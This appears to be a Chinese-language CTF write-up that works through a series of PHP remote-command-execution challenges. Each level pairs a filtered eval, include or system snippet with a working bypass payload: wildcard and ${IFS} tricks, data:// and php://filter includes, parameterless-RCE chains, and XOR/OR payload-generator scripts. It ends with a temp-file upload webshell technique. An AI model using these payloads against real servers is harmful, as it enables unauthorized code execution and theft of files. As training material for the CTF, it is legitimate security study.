error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
fla* 轻松绕过
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
常见的有如下几个,其中 system
是有回显的,其他的需要我们自行输出。调用 echo
或者其他输出函数即可
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
?c=echo `tac f*`;
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在linux 空格可以用以下字符串代替:
%09(tab)
$IFS$9
${IFS}
$IFS%09(tab)
<
<>
%20(space)等
在使用带有$
的内容替换时,要注意转义,因为$
在php中有特殊含义
?c=echo(`tac%09f*`);
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤分号用 ?>
绕过
利用伪协议进行包含
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里多过滤了一个0-9
?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里相比之前多了一个include($c);
那么就是利用伪协议进行命令执行了。 这里过滤了flag 所以不能使用 php://input
php://filter
因为这两个都要输入完整的文件名
这里可以使用data伪协议进行命令执行
?c=data://,<?php system('tac fla*');
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOw==
error_reporting(0);
if(isset($_GET['c'])){ $c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{ highlight_file(__FILE__);
}
这里因为会给你拼接后缀 且还过滤了flag 所以也不能使用 php://input
php://filter
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKT8+
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里基本把所有能用的字符全过滤掉了。但是括号没有过滤掉,这里过滤的是中文括号
这里有多种方式
条件:PHP版本5.5 -7.1.9 因为 session_id
规定为0-9,a-z,A-Z中的字符。
在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
利用
设置PHPSESSID=flag.php (因为里面有一个 .
)所以只能在5.5 -7.1.9的PHP使用
然后传入payload
c=session_start();highlight_file(session_id()); //highlight_file查看文件
?c=session_start();system(session_id()); //system命令执行
这里如果没有过滤掉0-9可以尝试用base64进行编码, PHPSSESID传入base64
然后命令执行时使用base64_decode(session_id())
此方法对php没有版本限制
这里需要用到下面几个函数
localeconv()
:返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos()
:返回数组中的当前元素的值。
array_reverse()
:数组逆序
scandir()
:获取目录下的文件
next()
: 函数将内部指针指向数组中的下一个元素,并输出。
思路: 首先通过 pos(localeconv())
得到点号,因为scandir(’.’)
表示得到当前目录下的文件,所以scandir(pos(localeconv()))
就能得到flag.php了
利用
获取当前路径下的文件
?c=print_r(scandir(pos(localeconv())));
这里我们需要获取到数组2的元素的值 flag.php
这里直接利用 array_reverse()
函数对数组进行逆序,
然后使用 next()
函数获取第二个数组的值,
最后使用 highlight_file()
函数高亮显示flag.php内容即可
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
参考文章:PHP的无参数RCE - 先知社区
get_defined_vars()
返回由所有已定义变量所组成的数组,会返回 $_GET
, $_POST
, $_COOKIE
, $_FILES
全局变量的值
返回数组顺序为get->post->cookie->files
如果是使用get进行传参则使用
eval(end(current(get_defined_vars())));&cmd=phpinfo();
使用post传参则将 current
改成 next
即可,对于此题来说是利用post参数
?c=eval(end(next(get_defined_vars())));
post: cmd=system('tac flag.php');
get_defined_vars()
返回的是一个二重数组
next(get_defined_vars())
获取二重数组中的POST数组
current(get_defined_vars())
获取二重数组中的GET数组
end()
返回对应数组中的值 可以用reset()
进行替换
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
先利用脚本生成出可以用的字符
<?php
$myfile = fopen("res_xor.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
然后使用下面的脚本生成命令执行payload
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("res_xor.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
[+] your function:highlight_file
[+] your command:flag.php
("%08%09%07%08%0c%09%07%08%14%00%06%09%0c%05"|"%60%60%60%60%60%60%60%60%60%5f%60%60%60%60")("%06%0c%01%07%00%10%08%10"|"%60%60%60%60%2e%60%60%60");
这里还有另外一个版本的脚本,区别就是不用 |
使用 ^
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("res.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
使用分号隔断即可绕过
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
查看flag
?c=tac flag.php;
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分号过滤 可以使用 ||
绕过
?c=tac flag.php ||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
通配符绕过即可
?c=tac f*||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤空格可以使用以下字符串进行肉绕过
%09
${IFS}
?c=tac%09f*||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里过滤了 $
与0-9 但是还是可以用%09绕过,因为会被优先进行Url解码
这里还过滤了星号 使用通配符?
号即可
?c=tac%09fla?.php||
这里可以使用重定向符号进行输出
?c=tac<fla\g.php||
使用重定向符号后不可以使用?
不然会没有回显
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
无非就是多过滤了一些查看文件的命令
这里继续使用tac绕过
?c=tac<fla\g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<fla\g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<fla\g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<fla\g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag
这里有很多种读文件的方式
随便挑一个就行了
?c=uniq<fla\g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里过滤了重定向符号,但是可以使用 $
了
使用 ${IFS}
绕过空格即可
?c=uniq${IFS}../../../../../fla\g||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这里与之前的题相比就是没有了拼接 >/dev/null 2>&1
我们就不需要用 ||
进行断开了
?c=uniq${IFS}fla?.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里使用了大量的正则来匹配进行过滤
?c=uniq${IFS}f?ag.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
$'\xxx'
表示字符?c=$'\143\141\164'%20$'\146'*
\143\141\164
分别是字符 c a t的8进制ascii码表示形式
在bash中 $'\143\141\164'
就是cat
这里需要使用%20绕过空格过滤的原因并不是不能用这种方式表示空格
而是,$'\xxx\xxx\xxx'
里面的\xxx\xxx\xxx
会被看成一个完整的字符串。
而命令执行是需要命令 与参数的,这里就会把这整个字符串看作命令 所以执行失败
如把cat flag
中的参数flag
也当成了命令去执行,肯定是不能执行成功的
我们可以使用通配符 ???/????64
来表示 /bin/base64
?c=/???/????64 ????.???
即/bin/base64 flag.php
太抽象了。这东西...
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
首先发送一个上传文件的POST包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://64ef7c2c-710d-4515-84c6-ce49ef1bad55.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
原理解释
具体原理请看p神的文章无字母数字webshell之提高篇 | 离别歌
使用此POST包上传文件后,PHP会将我们上传的文件保存在临时文件夹下
默认的文件名是/tmp/phpXXXXXX
而这个文件名 我们就可以利用通配符 /???/????????[@-[]
进行匹配
为什么利用这个通配符请看p神文章
上传后我们就可以利用 . file
执行命令了
$(())
构造法//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}